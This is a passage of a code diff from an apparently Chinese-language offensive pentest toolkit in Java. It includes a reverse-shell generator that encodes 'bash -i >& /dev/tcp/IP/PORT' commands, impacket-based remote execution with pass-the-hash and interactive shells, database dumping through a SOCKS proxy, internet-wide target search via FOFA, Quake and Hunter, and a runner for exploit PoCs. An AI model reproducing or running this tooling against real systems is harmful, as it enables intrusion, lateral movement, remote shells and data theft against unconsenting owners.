" <input type=\"button\" name=\"pass_second_copy\" id=\"pass_second_copy\" value=\"复制\" style=\"width: 50px;height: 20px;\" onclick=\"copy('pass_second_text')\" />\n" +
" </div>\n" +
" <label for=\"pass_second_text\" style=\"display: none\"></label><textarea id=\"pass_second_text\" cols=\"25\"></textarea>\n" +
" </div>\n" +
" <div style=\"width: 350px;text-align: center;\">\n" +
" <div style=\"margin-bottom: 10px;\">\n" +
" <span>两项信息加连接符密码-<span id=\"pass_third_length\"></span>个</span>\n" +
" <input type=\"button\" name=\"pass_third_copy\" id=\"pass_third_copy\" value=\"复制\" style=\"width: 50px;height: 20px;\" onclick=\"copy('pass_third_text')\" />\n" +
" </div>\n" +
" <label for=\"pass_third_text\" style=\"display: none\"></label><textarea id=\"pass_third_text\" cols=\"25\"></textarea>\n" +
" </div>\n" +
" <div style=\"width: 350px;text-align: center;\">\n" +
" <div style=\"margin-bottom: 10px;\">\n" +
" <span>全部密码-<span id=\"pass_all_length\"></span>个</span>\n" +
" <input type=\"button\" name=\"pass_all_copy\" id=\"pass_all_copy\" value=\"复制\" style=\"width: 50px;height: 20px;\" onclick=\"copy('pass_all_text')\" />\n" +
" </div>\n" +
" <label for=\"pass_all_text\" style=\"display: none\"></label><textarea id=\"pass_all_text\" cols=\"25\"></textarea>\n" +
" </div>\n" +
"</div>\n" +
"<div id=\"loading\" style=\"display: none;\">\n" +
" <div class=\"loading\">\n" +
" <div class=\"loading-bg\"></div>\n" +
" </div>\n" +
"</div>\n" +
"<div id=\"notification\" style=\"position: fixed;right: -20px;top: 20px;visibility: hidden;opacity: 0;width: 160px; height: 60px; background-color: white; text-align: center;line-height: 60px;border: 1px solid rgb(229,230,235);border-radius: 4px;box-shadow: 0 4px 10px #0000001a;transition: right 0.4s ease-out, opacity 0.2s ease-in, visibility 0.2s ease-in;\"><svg class=\"alert-icon\" viewBox=\"0 0 48 48\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" stroke=\"currentColor\" stroke-width=\"4\" stroke-linecap=\"butt\" stroke-linejoin=\"miter\"><path fill-rule=\"evenodd\" clip-rule=\"evenodd\" d=\"M24 44c11.046 0 20-8.954 20-20S35.046 4 24 4 4 12.954 4 24s8.954 20 20 20Zm2-30a1 1 0 0 0-1-1h-2a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-2Zm0 17h1a1 1 0 0 1 1 1v2a1 1 0 0 1-1 1h-6a1 1 0 0 1-1-1v-2a1 1 0 0 1 1-1h1v-8a1 1 0 0 1-1-1v-2a1 1 0 0 1 1-1h3a1 1 0 0 1 1 1v11Z\" fill=\"currentColor\" stroke=\"none\"></path></svg>已复制</div>\n" +
"</body>\n" +
"</html>";
public String getHtmlContent(){
return this.HTML_CONTENT;
}
}

View File

@ -0,0 +1,22 @@
package com.sec421.controller.baseTools;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
public class ReverseShellController {
public String ReverseShell(HashMap hashMap, String str){
str = str.replace("127.0.0.1",hashMap.get("ip").toString());
str = str.replace("8080",hashMap.get("port").toString());
if (str.equals("bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}'")){
String temp = "bash -i >& /dev/tcp/"+hashMap.get("ip").toString()+"/"+hashMap.get("port").toString()+" 0>&1";
String encodedString = Base64.getEncoder().encodeToString(temp.getBytes(StandardCharsets.UTF_8));
return "bash -c '{echo,"+encodedString+"}|{base64,-d}|{bash,-i}'";
}
return str;
}
}

View File

@ -0,0 +1,155 @@
package com.sec421.controller.dbTools;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import com.sec421.tools.Tools;
import java.sql.*;
import java.util.ArrayList;
import java.util.List;
public class MySQLController {
public static boolean connect(String ip, String port, String username, String password) {
// JDBC连接URL
String url = "jdbc:mysql://" + ip + ":" + port;
// 设置 SOCKS 代理
Tools.setProxy();
// 连接MySQL数据库
try (Connection connection = DriverManager.getConnection(url, username, password)) {
// 如果连接成功返回true
return true;
} catch (SQLException e) {
return false;
}
}
public static String[] getDBNAME(String ip, String port, String username, String password) {
// JDBC连接URL
String url = "jdbc:mysql://" + ip + ":" + port;
// 设置 SOCKS 代理
Tools.setProxy();
try (Connection connection = DriverManager.getConnection(url, username, password)) {
DatabaseMetaData metaData = connection.getMetaData();
ResultSet resultSet = metaData.getCatalogs();
List<String> databases = new ArrayList<>();
while (resultSet.next()) {
String dbName = resultSet.getString("TABLE_CAT");
databases.add(dbName);
}
return databases.toArray(new String[0]);
} catch (SQLException e) {
return new String[0];
}
}
public static String[] getTbaleName(String ip, String port, String username, String password,String db_name) {
// JDBC连接URL
String url = "jdbc:mysql://" + ip + ":" + port;
// 设置 SOCKS 代理
Tools.setProxy();
try (Connection connection = DriverManager.getConnection(url, username, password)) {
DatabaseMetaData metaData = connection.getMetaData();
ResultSet rs = metaData.getTables(db_name, null, null, new String[]{"TABLE"});
List<String> tableNames = new ArrayList<>();
while (rs.next()) {
String tableName = rs.getString("TABLE_NAME");
tableNames.add(tableName);
}
connection.close();
return tableNames.toArray(new String[0]);
} catch (SQLException e) {
return new String[0];
}
}
public static String getTableData(String ip, String port, String username, String password, String databaseName, String tableName) {
String url = "jdbc:mysql://" + ip + ":" + port;
// 设置 SOCKS 代理
Tools.setProxy();
try {
Connection conn = DriverManager.getConnection(url, username, password);
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("SELECT * FROM " + databaseName + "." + tableName);
ResultSetMetaData metaData = rs.getMetaData();
int columnCount = metaData.getColumnCount();
StringBuilder tableData = new StringBuilder();
int rowCount = 0;
while (rs.next() && rowCount < 5000) {
for (int i=1; i<=columnCount; i++) {
String columnName = metaData.getColumnName(i);
String columnValue = rs.getString(i);
tableData.append(columnName).append(": ").append(columnValue).append("\n");
}
tableData.append("\n");
rowCount++;
}
conn.close();
if (rowCount < 5000) {
return tableData.toString();
} else {
return "数据量过大只返回前5000条记录。" + tableData.toString();
}
} catch (SQLException e) {
e.printStackTrace();
return "";
}
}
public static String executeSQL(String ip, String port, String username, String password, String databaseName, String sql) {
String url = "jdbc:mysql://" + ip + ":" + port + "/" + databaseName;
// 设置 SOCKS 代理
Tools.setProxy();
try {
Connection conn = DriverManager.getConnection(url, username, password);
Statement stmt = conn.createStatement();
boolean isResultSet = stmt.execute(sql);
if (isResultSet) {
ResultSet rs = stmt.getResultSet();
ResultSetMetaData metaData = rs.getMetaData();
int columnCount = metaData.getColumnCount();
StringBuilder tableData = new StringBuilder();
int rowCount = 0;
while (rs.next() && rowCount < 5000) {
for (int i = 1; i <= columnCount; i++) {
String columnName = metaData.getColumnName(i);
String columnValue = rs.getString(i);
tableData.append(columnName).append(": ").append(columnValue).append("\n");
}
tableData.append("\n");
rowCount++;
}
conn.close();
if (rowCount < 5000) {
return tableData.toString();
} else {
return "数据量过大只返回前5000条记录。" + tableData.toString();
}
} else {
int updateCount = stmt.getUpdateCount();
conn.close();
return "操作成功,受影响的记录数: " + updateCount;
}
} catch (SQLException e) {
e.printStackTrace();
return "操作失败:" + e.getMessage();
}
}
}

View File

@ -0,0 +1,156 @@
package com.sec421.controller.dbTools;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import com.sec421.tools.Tools;
import java.sql.*;
import java.util.ArrayList;
import java.util.List;
public class OracleController {
public static boolean connect(String ip, String port, String username, String password,String serviceName) {
// JDBC连接URL
String url = "jdbc:oracle:thin:@" + ip + ":" + port + "/" + serviceName;
// 设置 SOCKS 代理
Tools.setProxy();
// 连接MySQL数据库
try (Connection connection = DriverManager.getConnection(url, username, password)) {
// 如果连接成功返回true
return true;
} catch (SQLException e) {
return false;
}
}
public static String[] getTbaleName(String ip, String port, String username, String password,String serviceName) {
List<String> tableNames = new ArrayList<>();
// JDBC连接URL
String url = "jdbc:oracle:thin:@" + ip + ":" + port + "/" + serviceName;
// 设置 SOCKS 代理
Tools.setProxy();
try {
// 建立数据库连接
Connection connection = DriverManager.getConnection(url, username, password);
// 获取当前用户的表
DatabaseMetaData metaData = connection.getMetaData();
String[] tableTypes = {"TABLE"};
ResultSet tables = metaData.getTables(null, username.toUpperCase(), null, tableTypes);
// 打印当前用户的表名
while (tables.next()) {
String tableName = tables.getString("TABLE_NAME");
tableNames.add(tableName);
}
// 获取除当前用户以外的表
tables = metaData.getTables(null, null, null, tableTypes);
// 打印除当前用户以外的表名
while (tables.next()) {
String tableName = tables.getString("TABLE_NAME");
tableNames.add(tableName);
}
// 关闭连接
connection.close();
return tableNames.toArray(new String[0]);
} catch (SQLException e) {
return new String[0];
}
}
public static String getTableData(String ip, String port, String username, String password, String serviceName, String tableName) {
String url = "jdbc:oracle:thin:@" + ip + ":" + port + "/" + serviceName;
// 设置 SOCKS 代理
Tools.setProxy();
try {
// 建立数据库连接
Connection conn = DriverManager.getConnection(url, username, password);
Statement stmt = conn.createStatement();
// 查询指定表的数据
String sql = "SELECT * FROM " + tableName;
ResultSet rs = stmt.executeQuery(sql);
ResultSetMetaData metaData = rs.getMetaData();
int columnCount = metaData.getColumnCount();
StringBuilder tableData = new StringBuilder();
int rowCount = 0;
while (rs.next() && rowCount < 5000) {
for (int i = 1; i <= columnCount; i++) {
String columnName = metaData.getColumnName(i);
String columnValue = rs.getString(i);
tableData.append(columnName).append(": ").append(columnValue).append("\n");
}
tableData.append("\n");
rowCount++;
}
conn.close();
if (rowCount < 5000) {
return tableData.toString();
} else {
return "数据量过大只返回前5000条记录。\n" + tableData.toString();
}
} catch (SQLException e) {
e.printStackTrace();
return "";
}
}
public static String executeSQL(String ip, String port, String username, String password, String serviceName, String sql) {
String url = "jdbc:oracle:thin:@" + ip + ":" + port + "/" + serviceName;
// 设置 SOCKS 代理
Tools.setProxy();
try {
Connection conn = DriverManager.getConnection(url, username, password);
Statement stmt = conn.createStatement();
boolean isResultSet = stmt.execute(sql);
if (isResultSet) {
ResultSet rs = stmt.getResultSet();
ResultSetMetaData metaData = rs.getMetaData();
int columnCount = metaData.getColumnCount();
StringBuilder tableData = new StringBuilder();
int rowCount = 0;
while (rs.next() && rowCount < 5000) {
for (int i = 1; i <= columnCount; i++) {
String columnName = metaData.getColumnName(i);
String columnValue = rs.getString(i);
tableData.append(columnName).append(": ").append(columnValue).append("\n");
}
tableData.append("\n");
rowCount++;
}
conn.close();
if (rowCount < 5000) {
return tableData.toString();
} else {
return "数据量过大只返回前5000条记录。" + tableData.toString();
}
} else {
int updateCount = stmt.getUpdateCount();
conn.close();
return "操作成功,受影响的记录数: " + updateCount;
}
} catch (SQLException e) {
e.printStackTrace();
return "操作失败:" + e.getMessage();
}
}
}

View File

@ -0,0 +1,66 @@
package com.sec421.controller.informationCollection;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import com.alibaba.fastjson.JSONObject;
import com.sec421.tools.HttpTool;
import com.sec421.tools.Tools;
import javafx.scene.control.Alert;
import java.util.Base64;
import java.util.List;
import static com.sec421.tools.HttpTool.generateURL;
public class FofaController {
public static String fofaSearch(String searchText) throws Exception {
String result = "";
String values = Tools.getProperty("fofa");
String[] EmaliKey = values.split(":");
if(EmaliKey.length == 2) {
String email = EmaliKey[0];
String key = EmaliKey[1];
String fResult = fofaHTTP(email, key, searchText, 10000);
if (fResult.startsWith("请检查")){
return fResult;
}
JSONObject object = (JSONObject) JSONObject.parse(fResult);
List<String> listStr = object.parseArray(object.getJSONArray("results").toJSONString(), String.class);
for (String s:listStr) {
s = s.replace("\"","").replace("\\r\\n","").replace("\\t","");
String host = s.split(",", 3)[0].replace("[","");
String port = s.split(",", 3)[1];
String protocol = s.split(",", 3)[2].replace("]","");
String httpurl = generateURL(host,port,protocol);
result += httpurl +"\r\n";
}
return result;
} else {
Alert alert = new Alert(Alert.AlertType.INFORMATION);
alert.setTitle("提示");
alert.setHeaderText(null);
alert.setContentText("fofa 配置错误\n");
alert.showAndWait();
return "fofa 配置错误";
}
}
public static String fofaHTTP(String emali, String key, String value, int size) {
String qbase64 = Base64.getEncoder().encodeToString(value.getBytes());
String url = "https://fofa.info/api/v1/search/all?email=" + emali + "&key=" + key + "&qbase64=" + qbase64 + "&full=true&fields=host,port,protocol&size=" + size;
String result = "";
result = HttpTool.getHttpReuest(url);
return result;
}
}

View File

@ -0,0 +1,51 @@
package com.sec421.controller.informationCollection;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.sec421.tools.HttpTool;
import java.io.IOException;
public class Quake360Controller {
public static String quake360Search(String searchText, Integer start) {
if (start>1){
start = (start-1)*100;
}
String domain = "";
String url = "https://quake.360.net/api/v3/search/quake_service";
JSONObject jsonObject = new JSONObject();
jsonObject.put("query", searchText);
jsonObject.put("start", start);
jsonObject.put("size", 100);
try {
String s = HttpTool.quankeRequest(url, jsonObject);
JSONObject jsonObject2 = JSONObject.parseObject(s);
JSONArray dataArray = jsonObject2.getJSONArray("data");
for (int i = 0; i < dataArray.size(); i++) {
JSONObject item = dataArray.getJSONObject(i);
String service_name = item.getJSONObject("service").getString("name");
String ip = item.getString("ip");
String port = item.getString("port");
if (service_name.equals("http/ssl")) {
String host = item.getJSONObject("service").getJSONObject("http").getString("host");
host = !(host.equals("") || host == "") ? host : ip;
domain += "https://" + host + ":" + port + "\r\n";
} else if (service_name.equals("http")) {
String host = item.getJSONObject("service").getJSONObject("http").getString("host");
host = !(host.equals("") || host == "") ? host : ip;
domain += "http://" + host + ":" + port + "\r\n";
} else {
domain += service_name + "://" + ip + ":" + port + "\r\n";
}
}
}catch (Exception e){
domain = "查询失败,请仔细检查。。。";
}
return domain;
}
}

View File

@ -0,0 +1,54 @@
package com.sec421.controller.informationCollection;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.sec421.tools.HttpTool;
import java.nio.charset.StandardCharsets;
import java.text.SimpleDateFormat;
import java.util.Base64;
import java.util.Date;
public class YingTuController {
Date date = new Date();
// SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd%20hh:mm:ss");
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd");
private String now = simpleDateFormat.format(date);
private String month = simpleDateFormat.format(new Date(date.getTime() - 31L * 24 * 60 * 60 * 1000));
private String half_year = simpleDateFormat.format(new Date(date.getTime() - 186L * 24 * 60 * 60 * 1000));
private String one_year = simpleDateFormat.format(new Date(date.getTime() - 366L * 24 * 60 * 60 * 1000));
public String yintuSearch(String searchText, String apiKey, String page, String is_web) throws Exception {
String res = "";
try {
String qbase64 = Base64.getUrlEncoder().encodeToString(searchText.getBytes(StandardCharsets.UTF_8));
if (is_web == "") {
is_web = "2";
} else {
is_web = "1";
}
String url = "https://hunter.qianxin.com/openApi/search?" +
"api-key=" + apiKey +
"&search=" + qbase64 +
"&page=" + page +
"&page_size=100" +
"&is_web=" + is_web +
"&port_filter=false&start_time=" + one_year +
"&end_time=" + now;
String result = HttpTool.getHttpReuest(url);
JSONObject object = (JSONObject) JSONObject.parse(result);
JSONArray jsonArray = object.getJSONObject("data").getJSONArray("arr");
for (int i = 0; i < jsonArray.size(); i++) {
JSONObject item = jsonArray.getJSONObject(i);
String httpurl = item.getString("url");
res += httpurl + "\r\n";
}
} catch (Exception e){
res = "查询异常";
}
return res;
}
}

View File

@ -0,0 +1,72 @@
package com.sec421.controller.js;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import cn.hutool.http.HttpResponse;
import com.sec421.tools.HttpTool;
import com.sec421.tools.Tools;
import javafx.application.Platform;
import javafx.scene.control.TextArea;
import java.net.MalformedURLException;
import java.net.URISyntaxException;
import java.net.URL;
import java.util.Arrays;
import java.util.List;
import java.util.Set;
public class JsController {
private TextArea textArea;
public String getJSURLResult(String url) throws Exception {
String result = "当前页js链接如下:\r\n\n";
String domain="";
String js_url = "";
String jsfileReq = HttpTool.getHttpReuest(url);
List<String> jsUrls = Tools.extractJsUrls(jsfileReq);
for (String jsUrl : jsUrls) {
if (jsUrl.startsWith("/")){
domain = Tools.extractDomain(url);
}else{
domain = Tools.splitByHash(url);
}
if (jsUrl.startsWith("http") || js_url.startsWith("//")){
js_url = jsUrl;
}else {
if (!domain.endsWith("/")){
URL myurl = new URL(domain);
String mypath = myurl.getPath();
String fileName = mypath.substring(mypath.lastIndexOf('/') + 1);
domain = domain.replace(fileName,"");
}
js_url = (domain+jsUrl).replace("/./","/");
}
js_url = Tools.normalizedURI(js_url);
result+=js_url+Tools.getLineSeparator();
}
return result;
}
public String getJSInterFaceResult(String url) {
String result ="";
String jsInterFaceReq = HttpTool.getHttpReuest(url);
Set<String> jsInterFaces = Tools.extractJsInterface(jsInterFaceReq);
for (String jsInterFace : jsInterFaces) {
result+=jsInterFace+Tools.getLineSeparator();
}
return result;
}
public String getCTXResult(String interfaceStr, String ctx) {
String result = "";
List<String> list = Arrays.asList(interfaceStr.split("\n"));
StringBuilder sb = new StringBuilder();
for (String s : list) {
sb.append(ctx).append(s).append(Tools.getLineSeparator());
}
return sb.toString().substring(0, sb.length() - 1);
}
}

View File

@ -0,0 +1,42 @@
package com.sec421.controller.js;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import cn.hutool.http.HttpResponse;
import com.sec421.tools.HttpTool;
import javafx.concurrent.Task;
public class NetworkTask extends Task<String> {
private String url;
private String reqMethod;
public NetworkTask(String url, String reqMethod) {
this.url = url;
this.reqMethod = reqMethod;
}
@Override
protected String call() {
HttpResponse httpResponse = HttpTool.sendHttpReuest(url, reqMethod);
int status = httpResponse.getStatus();
String content_length = httpResponse.contentLength() == -1 ? "无效" : String.valueOf(httpResponse.contentLength());
String body = httpResponse.body();
if (body.length() > 500) {
body = "长度过长,请自行处理";
}
if (status!=404) {
String result = "------------------------------------\n" +
"[出货] --- " + url + "\n" +
"状态码: " + String.valueOf(status) + "\n" +
"Content-Length: " + content_length + "\n" +
"响应内容: " + body + "\n" +
"------------------------------------\n";
return result;
}else {
return "404 ---" + url + "\n";
}
}
}

View File

@ -0,0 +1,55 @@
package com.sec421.controller.linkTools;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
public class LinkToolsController {
public String getHtmlContent(){
String HTML_CONTENT = "\n" +
"<!DOCTYPE html>\n" +
"<html lang=\"zh\">\n" +
"<head>\n" +
" <meta charset=\"UTF-8\">\n" +
" <style>\n" +
" html, body {\n" +
" margin: 0;\n" +
" padding: 0;\n" +
" }\n" +
" body {\n" +
" padding-bottom: 24px;\n" +
" }\n" +
" .nav-item{\n" +
" padding-top: 10px;\n" +
" }\n" +
" .nav-item a {\n" +
" width: 100%;\n" +
" text-align: center;\n" +
" color: unset;\n" +
" text-decoration: unset;\n" +
" }\n" +
" </style>\n" +
"</head>\n" +
"<body>\n" +
"<div style=\"color: white;background-color: #495060;height: 50px;align-items: center;\">\n" +
" <div class=\"nav-item\" style=\"margin-right: 10px;display: flex;align-items: center;\"><a href=\"https://www.revshells.com/\">反弹shell生成 - https://www.revshells.com/</a></div>\n" +
"</div>\n" +
"<div style=\"color: white;background-color: #5870a7;height: 50px;align-items: center;\">\n" +
" <div class=\"nav-item\" style=\"margin-right: 10px;display: flex;align-items: center;\"><a href=\"https://book.hacktricks.xyz/welcome/readme\">HackTricks - https://book.hacktricks.xyz</a></div>\n" +
"</div>\n" +
"<div style=\"color: white;background-color: #94618e;height: 50px;align-items: center;\">\n" +
" <div class=\"nav-item\" style=\"margin-right: 10px;display: flex;align-items: center;\"><a href=\"https://wadcoms.github.io/\">WADComs 域命令手册 - https://wadcoms.github.io/</a></div>\n" +
"</div>\n" +
"<div style=\"color: white;background-color: #619491;height: 50px;align-items: center;\">\n" +
" <div class=\"nav-item\" style=\"margin-right: 10px;display: flex;align-items: center;\"><a href=\"https://gtfobins.github.io/\">GTFOBins Linux提权 - https://gtfobins.github.io/</a></div>\n" +
"</div>\n" +
"<div style=\"color: white;background-color: #689461;height: 50px;align-items: center;\">\n" +
" <div class=\"nav-item\" style=\"margin-right: 10px;display: flex;align-items: center;\"><a href=\"https://lolbas-project.github.io/\">LOLBAS exe手册 - https://lolbas-project.github.io/</a></div>\n" +
"</div>\n" +
"\n" +
"\n" +
"</body>\n" +
"</html>";
return HTML_CONTENT;
}
}

View File

@ -0,0 +1,101 @@
package com.sec421.controller.postPentest;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import com.sec421.controller.ui.MainController;
import com.sec421.core.Constants;
import com.sec421.tools.Tools;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.InetSocketAddress;
import java.net.Proxy;
import java.nio.file.Paths;
public class ExecController {
private String command;
private String line;
private String output;
private String auth;
public String exec(String exec_type,String execIP,String execNAME,String execPASS,String execCMD,String execAUTH,String execCHARSET){
String pyPath = null;
try {
pyPath = Paths.get(Tools.getProperty("py_path")).toAbsolutePath().toString();
} catch (IOException e) {
return "请配置python.exe的路径";
}
if (pyPath==null||pyPath.equals("")){
Tools.alert("错误","请配置python.exe的路径");
return "请配置python.exe的路径";
}
Proxy proxy = (Proxy) MainController.settingInfo.get("proxy");
if (proxy != null) {
InetSocketAddress proxyAddress = (InetSocketAddress) proxy.address();
String proxyHost = proxyAddress.getHostString();
int proxyPort = proxyAddress.getPort();
if (proxy.type() == Proxy.Type.HTTP) {
Tools.alert("错误","请使用socks代理");
return "代理错误";
}else if (proxy.type() == Proxy.Type.SOCKS){
System.setProperty("socksProxyHost", proxyHost);
System.setProperty("socksProxyPort", Integer.toString(proxyPort));
}
}
String script_name = Paths.get(Constants.IMPACKET_PATH+exec_type+".py").toAbsolutePath().toString();
if (execAUTH=="密码"){
this.auth = execNAME + ":" + execPASS;
}else{
this.auth = execNAME;
}
if (exec_type=="dcomexec"){
if (execAUTH=="密码"){
this.command = pyPath + " " + script_name + " -object MMC20 " + this.auth + "@" + execIP + " " + execCMD + " -codec " + execCHARSET;
}else {
this.command = pyPath + " " + script_name + " -object MMC20 " + this.auth + "@" + execIP + " " + execCMD + " -hashes :"+ execPASS + " -codec " + execCHARSET;
}
}else{
if (execAUTH=="密码"){
this.command = pyPath + " " + script_name + " " + this.auth + "@" + execIP + " " + execCMD + " -codec " + execCHARSET;
}else {
this.command = pyPath + " " + script_name + " " + this.auth + "@" + execIP + " " + execCMD + " -hashes :"+ execPASS + " -codec " + execCHARSET;
}
}
System.out.println(this.command);
try {
Runtime runtime = Runtime.getRuntime();
// 执行系统命令
Process process = runtime.exec(this.command);
// 等待命令执行完成
int exitCode = process.waitFor();
System.out.println("命令执行完成。退出代码:" + exitCode);
// 获取标准输出流
InputStream inputStream = process.getInputStream();
BufferedReader inputStreamReader = new BufferedReader(new InputStreamReader(inputStream, "GBK"));
while ((this.line = inputStreamReader.readLine()) != null) {
this.output+=this.line+Tools.getLineSeparator();
}
// 获取错误输出流
InputStream errorStream = process.getErrorStream();
BufferedReader errorStreamReader = new BufferedReader(new InputStreamReader(errorStream, "GBK"));
while ((this.line = errorStreamReader.readLine()) != null) {
this.output+=this.line+Tools.getLineSeparator();
}
if (exec_type=="smbexec"){
runtime.exec("cmd.exe");
}
return this.output.toString().replace("null","");
} catch (Exception e) {
System.out.println(e);
return "命令执行失败:" + this.command;
}
}
}

View File

@ -0,0 +1,110 @@
package com.sec421.controller.postPentest;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import com.sec421.controller.ui.MainController;
import com.sec421.core.Constants;
import com.sec421.tools.Tools;
import javafx.application.Platform;
import javafx.scene.control.TextArea;
import java.io.*;
import java.net.InetSocketAddress;
import java.net.Proxy;
import java.nio.file.Paths;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
public class InteractionExecController {
public static Process shellProcess;
public static PrintWriter shellWriter;
public static ExecutorService executorService;
private String command;
private String line;
private TextArea textArea;
private String output;
private String auth;
public void exec(TextArea textArea,String exec_type, String execIP, String execNAME, String execPASS, String execAUTH, String execCHARSET) {
this.executorService = Executors.newSingleThreadExecutor();
this.textArea = textArea;
String pyPath = null;
try {
pyPath = Paths.get(Tools.getProperty("py_path")).toAbsolutePath().toString();
} catch (IOException e) {
}
if (pyPath==null||pyPath.equals("")){
Tools.alert("错误","请配置python.exe的路径");
}
Proxy proxy = (Proxy) MainController.settingInfo.get("proxy");
if (proxy != null) {
InetSocketAddress proxyAddress = (InetSocketAddress) proxy.address();
String proxyHost = proxyAddress.getHostString();
int proxyPort = proxyAddress.getPort();
if (proxy.type() == Proxy.Type.HTTP) {
Tools.alert("错误","请使用socks代理");
}else if (proxy.type() == Proxy.Type.SOCKS){
System.setProperty("socksProxyHost", proxyHost);
System.setProperty("socksProxyPort", Integer.toString(proxyPort));
}
}
String script_name = Paths.get(Constants.IMPACKET_PATH+exec_type+".py").toAbsolutePath().toString();
if (execAUTH=="密码"){
this.auth = execNAME + ":" + execPASS;
}else{
this.auth = execNAME;
}
if (exec_type=="dcomexec"){
if (execAUTH=="密码"){
this.command = pyPath + " " + script_name + " -object MMC20 " + this.auth + "@" + execIP + " -codec " + execCHARSET;
}else {
this.command = pyPath + " " + script_name + " -object MMC20 " + this.auth + "@" + execIP + " -hashes :"+ execPASS + " -codec " + execCHARSET;
}
}else{
if (execAUTH=="密码"){
this.command = pyPath + " " + script_name + " " + this.auth + "@" + execIP + " -codec " + execCHARSET;
}else {
this.command = pyPath + " " + script_name + " " + this.auth + "@" + execIP + " -hashes :"+ execPASS + " -codec " + execCHARSET;
}
}
System.out.println(this.command);
// 执行系统命令
try {
this.shellProcess = Runtime.getRuntime().exec(this.command);
this.shellWriter = new PrintWriter(this.shellProcess.getOutputStream());
this.executorService.submit(() -> {
try (BufferedReader reader = new BufferedReader(new InputStreamReader(this.shellProcess.getInputStream(),execCHARSET))) {
String line;
while ((line = reader.readLine()) != null) {
String finalLine = line;
Platform.runLater(() -> this.textArea.appendText(finalLine + "\n"));
}
} catch (IOException e) {
e.printStackTrace();
}
});
} catch (IOException e) {
e.printStackTrace();
}
}
public void sendCommand(String command) {
this.command = command;
if (this.shellWriter != null) {
this.shellWriter.println(this.command+ "\r\n");
this.shellWriter.flush();
}
}
public void stopSendCommand() {
if (this.shellProcess != null) {
this.shellWriter.println("exit\r\n");
this.shellProcess.destroy();
this.shellProcess = null;
this.shellWriter = null;
Platform.runLater(() -> this.textArea.appendText("已终止"));
}
}
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,62 @@
package com.sec421.controller.vulnCheck;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import javafx.beans.property.SimpleStringProperty;
import javafx.concurrent.Task;
public class BatchVulCheckTask extends Task<Integer> {
private int index;
private String vulScript;
private String url;
private final String cmd = null;
private final SimpleStringProperty result = new SimpleStringProperty();
public Integer call() throws Exception {
String checkResult = VulCheckController.vulCheck(this.url,this.vulScript);
setResult(checkResult);
return null;
}
public BatchVulCheckTask(String url, int index) {
this.index = index;
this.url = url;
}
public BatchVulCheckTask(String url, int index, String vulScript) {
this.vulScript = vulScript;
this.url = url;
this.index = index;
}
public int getIndex() {
return this.index;
}
public void setIndex(int index) {
this.index = index;
}
public String getUrl() {
return this.url;
}
public void setUrl(String url) {
this.url = url;
}
public String getResult() {
return this.result.get();
}
public SimpleStringProperty resultProperty() {
return this.result;
}
public void setResult(String result) {
this.result.set(result);
}
}

View File

@ -0,0 +1,22 @@
package com.sec421.controller.vulnCheck;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import com.sec421.core.Constants;
import java.util.List;
import static com.sec421.tools.Tools.findPyFiles;
public class PocTools {
public static String[] getpyFiles(){
List<String> pyFiles = findPyFiles(Constants.POCPATH);
String[] pyFileArray = pyFiles.toArray(new String[0]);
return pyFileArray;
}
}

View File

@ -0,0 +1,89 @@
package com.sec421.controller.vulnCheck;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import com.sec421.controller.ui.MainController;
import com.sec421.core.Constants;
import com.sec421.tools.Tools;
import org.apache.log4j.Logger;
import java.io.*;
import java.net.InetSocketAddress;
import java.net.Proxy;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Map;
public class VulCheckController {
public static Logger logger = Logger.getLogger(MainController.class);
public static String vulCheck(String target, String pyScriptName) throws IOException, InterruptedException {
// Proxy proxy = (Proxy) MainController.settingInfo.get("proxy");
//python脚本改用绝对路径展示
// String filename = Constants.POCPATH + pyScriptName;
// Path filePath = Paths.get(filename);
// String pyScript = filePath.toAbsolutePath().toString();
String pyScript = pyScriptName;
String pyPath = Paths.get(Tools.getProperty("py_path")).toAbsolutePath().toString();
ProcessBuilder pb = new ProcessBuilder(pyPath, pyScript,target );
//py脚本的代理请在py脚本里写好
// if (proxy != null) {
// Map<String, String> environment = pb.environment();
// InetSocketAddress proxyAddress = (InetSocketAddress) proxy.address();
// String proxyHost = proxyAddress.getHostString();
// int proxyPort = proxyAddress.getPort();
// if (proxy.type() == Proxy.Type.HTTP) {
// environment.put("http.proxyHost", proxyHost);
// environment.put("http.proxyPort", Integer.toString(proxyPort));
